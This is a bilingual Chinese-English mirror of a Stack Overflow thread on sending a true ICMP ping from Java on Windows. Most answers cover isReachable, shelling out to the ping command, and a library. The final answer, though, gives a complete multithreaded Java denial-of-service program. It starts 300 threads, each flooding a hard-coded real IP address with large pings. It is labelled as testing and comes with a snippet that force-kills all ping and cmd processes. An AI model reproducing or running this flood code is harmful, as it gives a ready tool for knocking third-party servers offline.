如何从 Windows 执行真正的 Java ping?
声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow
原文地址: http://stackoverflow.com/questions/2448666/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
How to do a true Java ping from Windows?
提问by Stephen Watkins
I have a device on a network that I am attempting to ping through my Java program. Through my windows command prompt, I can ping the device address fine and do a tracert on the address fine.
我在网络上有一个设备,我试图通过我的 Java 程序 ping 通它。通过我的 Windows 命令提示符,我可以很好地 ping 设备地址并对地址进行跟踪。
Online, I have seen that in order to do a ping through Java you have to do the following:
在网上,我看到为了通过 Java 执行 ping 操作,您必须执行以下操作:
InetAddress.getByName(address).isReachable(timeout);
But, when I use this code on my device address, it always returns false in my program. I am using the correct IPv4 address with a good timeout value. Also, if I use a localhost address, it works fine.
但是,当我在我的设备地址上使用此代码时,它总是在我的程序中返回 false。我正在使用正确的 IPv4 地址和良好的超时值。另外,如果我使用本地主机地址,它工作正常。
Why can I ping the device through cmd, but not through my program? I have heard in various places that this is not a trueping.
为什么我可以通过cmd ping 设备,而不能通过我的程序?我在很多地方听说这不是真正的ping。
Is there a better way to emulate a ping in Java?
有没有更好的方法来模拟 Java 中的 ping?
Thanks
谢谢
采纳答案by Stephen Watkins
isReachable()
will use ICMP ECHO REQUEST
s if the privilege can be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo) of the destination host.
Thus your problem is probably a configuration issue of not enough permissions to do this on the client machine or a port 7 issue on the server if your client doesn't have permission to do the ICMP ECHO REQUEST
. Probably both in your case, you need to resolve one side or the other to get this to work.
isReachable()
如果可以获得权限,将使用ICMP ECHO REQUEST
s ,否则将尝试在目标主机的端口 7(Echo)上建立 TCP 连接。
因此,您的问题可能是没有足够的权限在客户端计算机上执行此操作的配置问题或服务器上的端口 7 问题(如果您的客户端无权执行. 可能在您的情况下,您都需要解决一侧或另一侧才能使其正常工作。ICMP ECHO REQUEST
I tested the following on OSX and Linux clients and it works when testing for reachablity of other OSX, Linux and Windows Server machines. I don't have a Windows machine to run this as a client.
我在 OSX 和 Linux 客户端上测试了以下内容,它在测试其他 OSX、Linux 和 Windows Server 机器的可达性时有效。我没有 Windows 机器来作为客户端运行它。
import java.io.IOException;
import java.net.InetAddress;
public class IsReachable
{
public static void main(final String[] args) throws IOException
{
final InetAddress host = InetAddress.getByName(args[0]);
System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
}
}
from what I read here. It is apparently a Windows limitation and ICMP PING
isn't supported on Windows as a system call previous to Windows 2000, so it defaults to try and connect to Port 7 and that is blocked on the machine you are trying to "reach". Java doesn't support the new native system call yet. The permissions thing is for Unix based system as they require root to send ICMP
packets.
从我在这里读到的。这显然是 Windows 的限制,ICMP PING
在 Windows 上不支持作为 Windows 2000 之前的系统调用,因此它默认尝试连接到端口 7,并且在您尝试“到达”的机器上被阻止。Java 尚不支持新的本机系统调用。权限是基于 Unix 的系统,因为它们需要 root 才能发送ICMP
数据包。
If you want to roll your own Windows native JNIICMP PING
for Windows 2000 and newer there is the IcmpSendEcho Function.
如果您想为 Windows 2000 和更新版本推出自己的 Windows 原生JNIICMP PING
,则可以使用IcmpSendEcho 函数。
回答by bluphoenix
A bit late, but I stumbled upon this while trying to do the same thing.
有点晚了,但我在尝试做同样的事情时偶然发现了这一点。
One workaround that worked for me and which I used was to just use the command line ping directly.
对我有用并且我使用的一种解决方法是直接使用命令行 ping。
public static boolean ping(String host)
{
boolean isReachable = false;
try {
Process proc = new ProcessBuilder("ping", host).start();
int exitValue = proc.waitFor();
System.out.println("Exit Value:" + exitValue);
if(exitValue == 0)
isReachable = true;
} catch (IOException e1) {
System.out.println(e1.getMessage());
e1.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
return isReachable;
}
回答by Nerrve
One of the reasons is that the timeout you've specified is too low. I had a similar problem but when i increased the timeout to an appropriate value, the isReachable invocation returned a correct value.
原因之一是您指定的超时时间太短。我遇到了类似的问题,但是当我将超时增加到适当的值时,isReachable 调用返回了正确的值。
回答by Mattias Ohlsson
I use this function (from this article) when I need a real ICMP ping in Windows, Linux and OSX (I have not tested other systems).
当我需要在 Windows、Linux 和 OSX 中进行真正的 ICMP ping(我没有测试其他系统)时,我会使用此功能(来自本文)。
public static boolean isReachableByPing(String host) {
try{
String cmd = "";
if(System.getProperty("os.name").startsWith("Windows")) {
// For Windows
cmd = "ping -n 1 " + host;
} else {
// For Linux and OSX
cmd = "ping -c 1 " + host;
}
Process myProcess = Runtime.getRuntime().exec(cmd);
myProcess.waitFor();
if(myProcess.exitValue() == 0) {
return true;
} else {
return false;
}
} catch( Exception e ) {
e.printStackTrace();
return false;
}
}
回答by Adrian
I saw a lot of bad code written related to that issue. The code that worked for my is (site do not know to correctly parse my code file) :
我看到很多与该问题相关的错误代码。对我有用的代码是(站点不知道正确解析我的代码文件):
public class Test {
public static boolean isReachablebyPing(String ip) {
try {
String command;
if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
// For Windows
command = "ping -n 2 " + ip;
} else {
// For Linux and OSX
command = "ping -c 2 " + ip;
}
Process proc = Runtime.getRuntime().exec(command);
StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
outputGobbler.start();
proc.waitFor();
return checkAvailability(outputGobbler.getOutputLines());
} catch(IOException | InterruptedException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
return false;
}
public static void main(String... args) {
String ip = "10.20.20.17"; // false in my case
String ip1 = "10.20.20.100"; // true in my case
System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
}
private static boolean checkAvailability(List<String> outputLines) {
for(String line : outputLines) {
if(line.contains("unreachable")) {
return false;
}
if(line.contains("TTL=")) {
return true;
}
}
return false;
}
}
class StreamGobbler extends Thread {
protected InputStream is;
protected String type;
protected List<String> outputLines;
StreamGobbler(InputStream is, String type) {
this.is = is;
this.type = type;
outputLines = new ArrayList<>();
}
public List<String> getOutputLines() {
return outputLines;
}
@Override
public void run() {
try {
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String line;
while((line = br.readLine()) != null) {
outputLines.add(line);
}
} catch(IOException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
回答by iLoveCode
For an easy ping from java without privileges, I use http://www.icmp4j.org
为了在没有特权的情况下从 java 轻松 ping,我使用http://www.icmp4j.org
It's very easy to use :
它非常易于使用:
final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();
request.setHost ("www.google.org");
// repeat a few times
for (int count = 1; count <= 4; count ++) {
// delegate
final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);
// log
final String formattedResponse = IcmpPingUtil.formatResponse (response);
System.out.println (formattedResponse);
// rest
Thread.sleep (1000);
}
回答by Abdelsalam Shahlol
Using this isn't going to help in case of ping a public IP addresses using Windows machine:
在使用 Windows 机器ping 公共 IP 地址的情况下,使用此方法无济于事:
String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
Note: The documentation states that:
注意:文档指出:
A typical implementation will use ICMP ECHO REQUESTs if the privilegecan be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo)of the destination host.
如果 可以获得特权,典型的实现将使用 ICMP ECHO REQUEST ,否则它将尝试在目标主机的端口 7(Echo)上建立TCP 连接。
I've tried that but the results were not accurate.
我试过了,但结果不准确。
What really worked out for me is the class written by our fellow user that send true ICMP pingand returns true or false according to IP status.
真正对我有用的是我们的用户编写的类,它发送真正的ICMP ping并根据 IP 状态返回 true 或 false。
回答by QA Specialist
The following JAVA code is an example of Ping of Death and Denial of Service using Microsoft Windows. This shall be use for testing purpose in order to build an Anti-Hack proof and/or testing the performance of the site in case of similar Cyber attacks.
以下 JAVA 代码是使用 Microsoft Windows 的 Ping of Death 和拒绝服务示例。这将用于测试目的,以便在类似网络攻击的情况下构建反黑客证明和/或测试站点的性能。
// BEGIN Ping of Death and Denial of Service
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;
import jxl.read.biff.BiffException;
import jxl.write.WriteException;
public class PoDandDoS {
protected static final long serialVersionUID = 300200;
public static void main(String[] args)
throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
Thread[] threads = new Thread[300];
for (int i = 0; i < 300; i++) {
threads[i] = new Thread(new Runnable() {
public void run() {
try {
thread();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
});
threads[i].start();
}
for (int i = 0; i < 300; i++) {
threads[i].join();
}
}
private static void thread() throws IOException, InterruptedException {
// Ping of Death
String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
String temp1 = "";
@SuppressWarnings("unused")
String Hostname1 = "";
while ((temp1 = VarMove1.readLine()) != null) {
Thread.sleep(2);
Hostname1 = temp1;
}
VarMove1.close();
}
}
When tests are completed. You might want to use the following code to clean up the processes in Task Manager.
测试完成时。您可能希望使用以下代码来清理任务管理器中的进程。
import java.io.IOException;
//BEGIN Clean Process
public class CleanProcess {
protected static final long serialVersionUID = 300200;
public static void main(String[] args) throws IOException {
// Close every process of PING and CMD running from your PC
Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
}
}